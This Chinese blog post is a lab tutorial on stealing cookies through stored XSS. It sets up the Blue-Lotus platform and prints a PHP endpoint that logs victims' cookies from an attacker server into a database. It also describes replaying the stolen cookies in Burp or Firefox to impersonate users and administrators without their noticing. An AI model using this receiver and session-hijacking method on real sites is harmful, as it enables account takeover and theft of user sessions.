XSS获取Cookie实验

目录

XSS获取Cookie实验

一、搭建Bule-Lotus平台

二、正式实验

(1)开发XSS实验环境

1、确认实验环境

2、创建数据表xssdata

3、编写服务器接收代码

(2)实现XSS攻击

1、在页面中注入代码

2、获取Cookie后执行

Blue-Lotus完成实验

XSS获取Cookie实验

构建文章阅读系统并完善其发帖的功能之后,搭建Blue-Lotus平台

系统开发我不说了,搭建平台只需将获取得到的源码解压存放在httpd的web根目录下就好了,注意修改web服务的配置文件就好了

一、搭建Bule-Lotus平台

  • 下载好源码,直接去网上搜

  • 要么有LNMP环境,要么直接下载apache服务

  • nginx的配置文件在 /usr/local/nginx/conf/nginx.conf apache的配置文件在 /etc/httpd/conf/httpd.conf,注意修改nginx配置文件中的root或apache配置文件中的DocumentRoot。我在这里使用的是apache的服务。而我搭建的woniunote使用的是nginx,当然,我完全可以把Blue-Lotus也搭建在nginx上

  • 安装php环境

  • 源码放在对应的web服务器根目录就好了

  • 最后直接访问该服务器的ip地址即可

二、正式实验

作为攻击者,我需要事先进入系统发表一篇文章,我在该文章中嵌入我精心构造的js脚本,发表成功之后,当其他用户阅读我这篇文章的时候,一点开,我就可以获得他们的信息,而且他们还要完全不知道,对他们是透明的。一旦获取到他们的细腻些,我就可以通过fiddler或firefox中的http live或bp等来发送请求,更换其中的Cookie字段的值我就可以冒充其他用户了。

(1)开发XSS实验环境

1、确认实验环境

攻击者服务器:192.168.230.150,将获取到的Cookie数据保存到该服务器的数据库中,运行PHP代码暴露一个接收Cookie的URL地址。

正常Web服务器:192.168.230.147,用于用户正常的访问的目标站点,用户在这里可以阅读和发表文章。

用户浏览器:192.168.230.1,Windows环境,使用Chrome浏览器。

攻击者浏览器:192.168.230.1,Windows环境,使用firefox浏览器。

2、创建数据表xssdata

image-20240723214051415

3、编写服务器接收代码

这份代码的用处是,当用户访问到了我所发表的文章之后,我嵌入的恶意代码将用户的信息发送给我的这份代码,然后我的这份代码对用户信息做处理并存起来

这份代码的地址为 http://192.168.230.150:88/xssreceive.php

     // 下面是一段PHP后端代码,用来接收处理发来的信息并存在数据库中
     $ipaddr = $_SERVER["REMOTE_ADDR"];
     $url = $_GET['url'];
     $Cookie = $_GET['Cookie'];
     $conn = new mysqli('192.168.230.150','root','p-0p-0p-0','woniunote',3306) or die("数据库连接失败");
     // $conn->query('set names utf8');
     $conn->set_charset('utf8');
 ​
     $sql = 'insert into xssdata(ipaddr,url,Cookie,createtime) values(?,?,?,now());';
     $stmt = $conn->prepare($sql);
     $stmt->bind_param('sss',$ipaddr,$url,$Cookie);
     $stmt->execute();
     $stmt->close();
     $conn->close();
 ​
     // echo "<script>history.back();</script>";
     // echo "<script>location.href='http://woniuxy.com/'</script>";

(2)实现XSS攻击

1、在页面中注入代码

这份代码的用处是:我注入在我所发表的文章中,当其他用户阅读我这篇文章时,我可以获取到他们的信息,然后发送给我的攻击服务器

注意要做到的是,获取用户信息对于用户来说要是透明的,用户要无感,我们要做的偷偷摸摸的,不知不觉的。

由于我们发送的文章内容会被浏览器引擎所解析,而浏览器会将 + 处理为空格 &及之后的内容清空,所以我们在注入代码时需要对这些特殊字符进行处理,根据ASCII码值进行转换为URL编码(ASCII码值对应的是十进制的数,URL编码对应的是%加十六进制的数)

 PHP后台需将 + 号处理为 %2B  将&处理为 %26
 ​
2、获取Cookie后执行

从数据库中取得用户的Cookie数据:

image-20240724165024586

发送到repeater模块

image-20240724165009058

修改Cookie字段的值就好了

如果可以用Live HTTP headers就更好了

在Firefox中修改Cookie数据并发送请求,如果管理员访问了我的这篇文章,我还可以越权获得管理员的身份信息。

Blue-Lotus完成实验

搭建好该平台之后,操作步骤,请看下面这篇文章

BlueLotus的安装及使用-CSDN博客

注意在生成payload的时候,一定要在website的url地址后面加上index.php,否则payload根本不生效

image-20240724155718330

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值